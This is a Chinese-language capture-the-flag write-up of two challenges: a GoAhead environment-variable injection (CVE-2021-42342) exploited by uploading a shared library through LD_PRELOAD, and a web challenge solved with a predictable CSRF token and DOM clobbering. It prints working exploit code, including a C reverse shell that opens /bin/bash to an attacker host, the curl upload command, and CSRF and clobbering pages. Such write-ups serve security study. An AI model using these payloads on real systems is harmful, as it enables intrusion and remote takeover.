gogogo

goahead v5.1.4 存在环境变量注⼊漏洞 (CVE-2021-42342)

关于该漏洞网上有很多资料

https://github.com/Mr-xn/CVE-2021-42342

CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现 (seebug.org)

GoAhead环境变量注入复现踩坑记 | 离别歌 (leavesongs.com)

可上传⼀个动态链接库,然后利⽤ /proc ⽂件系统, 将 LD_PRELOAD 环境变量设置为所上传的 so ⽂件 /cgi-bin/ 下⾯有个脚本 hello , 可以输出环境变量

利⽤动态链接库反弹shell(也可以直接读取flag,标准输出会出现在⻚⾯上)

POC1: read flag

#include <stdio.h>
#include <stdlib.h>
static void read_flag(void) __attribute__((constructor));
static void read_flag(void)
{
FILE *fp = fopen("/flag", "r");
char flag[256];
fgets(flag, 256, fp);
printf("%s\n", flag);
fclose(fp);
}

POC2: reverse shell

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="***";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void) 
{
  int sock = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in attacker_addr = {0};
  attacker_addr.sin_family = AF_INET;
  attacker_addr.sin_port = htons(server_port);
  attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
  if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
    exit(0);
  dup2(sock, 0);
  dup2(sock, 1);
  dup2(sock, 2);
  execve("/bin/bash", 0, 0);
}

usage:

step1: gcc hack.c -fPIC -shared -o poc.so

step2: curl -x 127.0.0.1:8080 -v -F data=@poc.so -F "LD_PRELOAD=/proc/self/fd/7" http://123.60.84.229:10218/cgi-bin/hello

(-x设置下代理抓包爆破/proc/self/fd/x)

可成功反弹shell

image-20220627195452919

这里还有一种做法

参考https://blog.csdn.net/qq_53142368/article/details/125120520#t2

可直接执行命令

image-20220627200702597

beWhatYouWannaBe

该题考查了CSRF和dom clobbering攻击

app.js代码

const app = require('express')()
const bodyParser = require('body-parser')
const session = require('express-session')
const admin = require('./admin')
const mongoose = require('mongoose')
const rand = require('string-random')
const crypto = require('crypto')

const LISTEN = '0.0.0.0'
const PORT = 8000
const config = require('./config')
const FLAG = config.FLAG
const FAKE_FLAG = config.FAKE_FLAG
const MONGO_URL = 'mongodb://mongodb:27017/ctf'
const SECRET = rand(32, '0123456789abcdef')

//关键部分1,检验CSRF token CSRF Token 是根据当前时间⽣成的,只要请求能在 1s 内完成应该可以直接计算出 token
const ValidateToken = (Token) => {
    var sha256 = crypto.createHash('sha256');
    return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}

mongoose.connect(MONGO_URL)
const User = mongoose.model("users", new mongoose.Schema({
    username: String,
    password: String,
    isAdmin: Boolean
}))

app.set('view engine', 'ejs')
app.use(session({
    secret: SECRET,
    resave: false,
    saveUninitialized: true,
    cookie: { secure: false },
}))
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())

app.get('/', (req, res) => {
    res.send('hello world')
})

app.get('/login', (req, res) => {
    res.render('login', {})
})

//关键部分2,可让admin发起CSRF
app.post('/admin', (req, res) => {
    let url = req.body.url ? req.body.url : 'http://pumpk1n.com'
    admin.view(url)
        .then(() => { res.send(url) })
        .catch(e => { res.send(e) })
})

app.get('/home', (req, res) => {
    if (!req.session.user) {
        res.redirect('/login')
        return
    }
    res.render('home', { user: req.session.user })
})

app.post('/login', (req, res) => {
    let username = req.body.username
    let password = req.body.password
    console.log("login", username, password)
    if (typeof username !== 'string' || typeof password !== 'string') {
        res.render('login', { error: "wafed" })
        return
    }

    User.find({ username: username, password: password }, (err, user) => {
        if (err) {
            res.render('login', { error: err })
            return
        }
        if (user.length > 0) {
            req.session.user = username
            res.redirect('home')
        } else {
            res.render('login', { error: "login failed" })
        }
    })
})

app.get('/register', (req, res) => {
    res.render('register', {})
})

app.post('/register', (req, res) => {
    let username = req.body.username
    let password = req.body.password
    if (typeof username !== 'string' || typeof password !== 'string') {
        res.render('login', { error: "wafed" })
        return
    }
    const newuser = new User({
        username: username,
        password: password,
        isAdmin: false
    })
    User.find({ username: username }, (err, user) => {
        if (err) {
            res.render('register', { error: err })
            return
        }
        if (user.length > 0) {
            res.render('register', { error: "user already exists!" })
        } else {
            newuser.save()
            res.redirect('login', 302)
        }

    })
})

//关键部分3 ,以admin的身份让普通用户成为admin
app.post('/beAdmin', (req, res) => {
    if (req.session.user != 'admin') {
        res.send("sorry, only admin can be admin")
        return
    }
    const username = req.body.username
    const csrftoken = req.body.csrftoken
    if (ValidateToken(csrftoken)) {
        User.updateMany({ username: username }, { isAdmin: true },
            (err, users) => {
                if (err) {
                    res.send('something error when being admin')
                    return
                }
                if (users.length == 0) {
                    res.send('no one can be admin')
                } else {
                    res.send('wow success wow')
                }
            }
        )
    } else {
        res.send('validate error')
    }
})

app.get('/flag', (req, res) => {
    if (!req.session.user) {
        res.send(FAKE_FLAG)
        return
    }
    User.findOne({ username: req.session.user }, (err, user) => {
        if (err) {
            res.send({ err: err })
            return
        }
        if (user.isAdmin) {				//只要用户的user.isAdmin为True即可
            // part 1
            res.send(FLAG.substring(0, 16))
        } else {
            res.send(FAKE_FLAG)
        }
    })
})

app.listen(PORT, LISTEN, () => {
    console.log(`listening ${LISTEN}:${PORT}...`)
})

admin.js代码

const puppeteer = require('puppeteer');
const process = require('process')
const ADMIN_USERNAME = 'admin'
const ADMIN_PASSWORD = process.env.password
const FLAG = require('./config').FLAG
const view = async(url) => {
    /**
     * launch()该方法使用给定的arguments启动浏览器实例,当父node.js进程关闭时,浏览器将被关闭。
     */
    const browser = await puppeteer.launch({    //创建浏览器对象
        headless: true,
        args: ['--no-sandbox', '--disable-setuid-sandbox']
    })                                          
    const page = await browser.newPage()        //新启一个页面
    await page.goto('http://localhost:8000/login')
    await page.type("#username", ADMIN_USERNAME)
    await page.type("#password", ADMIN_PASSWORD)
    await page.click('#btn-login')				//以admin的身份登录
        // get flag1
    await page.goto(url, { timeout: 5000 })
        // get flag2
    await page.setJavaScriptEnabled(false)
    await page.goto(url, { timeout: 5000 })
    await page.evaluate((url, FLAG) => {
        //构造相关的dom实现           dom clobbering
        if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
            fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))))
        } else {
            fetch(url + '?there_is_no_flag')
        }
    }, url, FLAG)
    await browser.close()
}

exports.view = view

第一部分是常规的CSRF让admin携带着它的session触发我们给它的页面

这里对于CSRF token的验证存在bug,只要我们在1秒内完成token计算即可绕过验证

测试

const crypto = require('crypto');
var sha256_1 = crypto.createHash('sha256');
var sha256_2 = crypto.createHash('sha256');
var token1 = sha256_1.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex');
setTimeout(() => {
    var token2 = sha256_2.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex');
    console.log(`token1: ${token1}\ntoken2: ${token2}`);
    console.log(token1===token2);
},650); 				//休眠650ms

结果两个token是相等的

image-20220629113054497

所以只要在一秒内完成验证即可

exp1:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>CSRF</title>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.9.0/sha256.min.js"></script>
    </head>
    <body>
        <form id="form" action="http://124.71.180.254:10022/beAdmin" method="post">
            <input name="username" value="=pankas">
            <input id="csrftoken" name="csrftoken" value="1">
        </form>
    <script>
        document.getElementById('csrftoken').value = sha256(Math.sin(Math.floor(Date.now() / 1000)).toString());
        document.getElementById('form').submit();
    </script>
    </body>
</html>

挂服务器上发送链接。成为admin后即可拿到flag1

ACTF{3asy_csrf_a

第二部分是dom clobbering attack

有关资料

https://blog.csdn.net/qq_38154820/article/details/106330275?utm_source=app&app_version=5.0.1&code=app_1562916241&uLinkId=usr1mkqgl919blen

exp2:

from flask import *
app = Flask(__name__)
@app.route('/')
def exp():
    return """
    <iframe name=fff srcdoc="
    <iframe name=lll srcdoc='<a id=aaa><input id=aaa name=ggg value=this_is_what_i_want>'>"></iframe>
    """
if __name__ == '__main__':
    app.run('0.0.0.0',8866)

image-20220628223828747

解码拿到第二部分

nd_bypass_stup1d_tok3n_g3n3rator_and_use_d0m_clobberring!!!}

ps:有些师傅可能会出现浏览器没来得及发出fetch请求,就close了的情况,可用如下方法解决(方法来自vidar的某位师傅)

可以开⼀个 nc ,当作图⽚,卡住第⼆次⻚⾯加载

from flask import *
app = Flask(__name__)
@app.route('/')
def exp():
    return """
    <iframe name=fff srcdoc="
    <iframe name=lll srcdoc='<a id=aaa><input id=aaa name=ggg value=this_is_what_i_w
    ant>'>"></iframe>
    <img id="test" src="http://x.x.x.x:xx">
    <script>document.getElementById("test").src="1"</script>
    """
if __name__ == '__main__':
    app.run('0.0.0.0',53418)

因为第⼆次访问他 ban 了 js, document.getElementById("test").src="1"就执⾏不了 了,只会在第⼆次访问卡住

这两步其实可以和到一起的,官方exp

<html>

<head>
    <title>csrf</title>
</head>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js"></script>

<body>
    <iframe name=fff srcdoc="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>"></iframe>
    
    <form id="form" action="http://localhost:8000/beAdmin" method="post">
        <input name="username" value="aaa">
        <input name="csrftoken" id="csrftoken" value="1">
    </form>

    <script>
        function getToken() {
            return sha256(Math.sin(Math.floor(Date.now() / 1000)).toString())
        }
        $("#csrftoken").attr("value", getToken())
        document.getElementById("form").submit()
    </script>

</body>

</html>